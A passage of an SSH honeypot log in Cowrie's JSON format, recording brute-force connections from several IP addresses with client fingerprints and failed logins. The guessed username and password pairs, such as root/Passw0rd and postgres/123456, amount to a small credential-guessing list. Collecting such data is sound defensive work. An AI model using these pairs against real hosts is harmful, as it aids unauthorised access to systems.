{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:00.901960Z","src_ip":"154.83.196.237","session":"065cc9fab2ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:01.401634Z","src_ip":"154.83.196.237","session":"065cc9fab2ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:02.523237Z","src_ip":"154.83.196.237","session":"065cc9fab2ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":53002,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a8f6141508d","protocol":"ssh","message":"New connection: 94.154.34.232:53002 (10.17.0.5:22) [session: 2a8f6141508d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:03.717262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:03.722547Z","src_ip":"94.154.34.232","session":"2a8f6141508d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:03.850885Z","src_ip":"94.154.34.232","session":"2a8f6141508d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ@WSX1qaz2wsx","message":"login attempt [root/!QAZ@WSX1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:04.383806Z","src_ip":"94.154.34.232","session":"2a8f6141508d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:05.513077Z","src_ip":"94.154.34.232","session":"2a8f6141508d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":58434,"dst_ip":"159.203.135.109","dst_port":22,"session":"70f0bf1d67ba","protocol":"ssh","message":"New connection: 103.75.199.4:58434 (159.203.135.109:22) [session: 70f0bf1d67ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:06.815769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:06.823800Z","src_ip":"103.75.199.4","session":"70f0bf1d67ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:06.916209Z","src_ip":"103.75.199.4","session":"70f0bf1d67ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:07.190462Z","src_ip":"103.75.199.4","session":"70f0bf1d67ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:08.285245Z","src_ip":"103.75.199.4","session":"70f0bf1d67ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":25830,"dst_ip":"159.203.135.109","dst_port":22,"session":"47f734d9c06a","protocol":"ssh","message":"New connection: 2.57.121.112:25830 (159.203.135.109:22) [session: 47f734d9c06a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:20.923416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:20.928389Z","src_ip":"2.57.121.112","session":"47f734d9c06a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:21.029098Z","src_ip":"2.57.121.112","session":"47f734d9c06a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"domin","message":"login attempt [admin/domin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:21.493315Z","src_ip":"2.57.121.112","session":"47f734d9c06a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dollie","message":"login attempt [admin/dollie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:22.593802Z","src_ip":"2.57.121.112","session":"47f734d9c06a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dogsdogs","message":"login attempt [admin/dogsdogs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:23.699095Z","src_ip":"2.57.121.112","session":"47f734d9c06a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":49938,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd6379cd27ae","protocol":"ssh","message":"New connection: 43.153.46.75:49938 (159.203.135.109:22) [session: cd6379cd27ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:24.304029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:24.308038Z","src_ip":"43.153.46.75","session":"cd6379cd27ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:24.376425Z","src_ip":"43.153.46.75","session":"cd6379cd27ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aurelien","message":"login attempt [root/aurelien] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:24.681648Z","src_ip":"43.153.46.75","session":"cd6379cd27ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dogday","message":"login attempt [admin/dogday] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:24.798019Z","src_ip":"2.57.121.112","session":"47f734d9c06a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:25.754657Z","src_ip":"43.153.46.75","session":"cd6379cd27ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dnstuff","message":"login attempt [admin/dnstuff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:25.897873Z","src_ip":"2.57.121.112","session":"47f734d9c06a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:26.998551Z","src_ip":"2.57.121.112","session":"47f734d9c06a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":60314,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2cd2c34fe25","protocol":"ssh","message":"New connection: 80.94.92.182:60314 (10.17.0.5:22) [session: d2cd2c34fe25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:27.166820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:27.193687Z","src_ip":"80.94.92.182","session":"d2cd2c34fe25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:27.428849Z","src_ip":"80.94.92.182","session":"d2cd2c34fe25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"pa2ssw0rd","message":"login attempt [solana/pa2ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:28.495624Z","src_ip":"80.94.92.182","session":"d2cd2c34fe25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":46694,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6bbe4c9937d","protocol":"ssh","message":"New connection: 103.75.199.4:46694 (159.203.135.109:22) [session: c6bbe4c9937d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:28.721441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:28.726562Z","src_ip":"103.75.199.4","session":"c6bbe4c9937d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:28.822269Z","src_ip":"103.75.199.4","session":"c6bbe4c9937d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:29.109829Z","src_ip":"103.75.199.4","session":"c6bbe4c9937d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:29.727584Z","src_ip":"80.94.92.182","session":"d2cd2c34fe25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:30.208749Z","src_ip":"103.75.199.4","session":"c6bbe4c9937d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":48928,"dst_ip":"10.17.0.5","dst_port":22,"session":"48ec1fa54675","protocol":"ssh","message":"New connection: 43.163.119.215:48928 (10.17.0.5:22) [session: 48ec1fa54675]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:36.857104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:36.861568Z","src_ip":"43.163.119.215","session":"48ec1fa54675","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:37.128255Z","src_ip":"43.163.119.215","session":"48ec1fa54675","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":36524,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2f6b95d557f","protocol":"ssh","message":"New connection: 162.243.147.237:36524 (159.203.135.109:22) [session: d2f6b95d557f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:37.597596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:01:37.602745Z","src_ip":"162.243.147.237","session":"d2f6b95d557f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","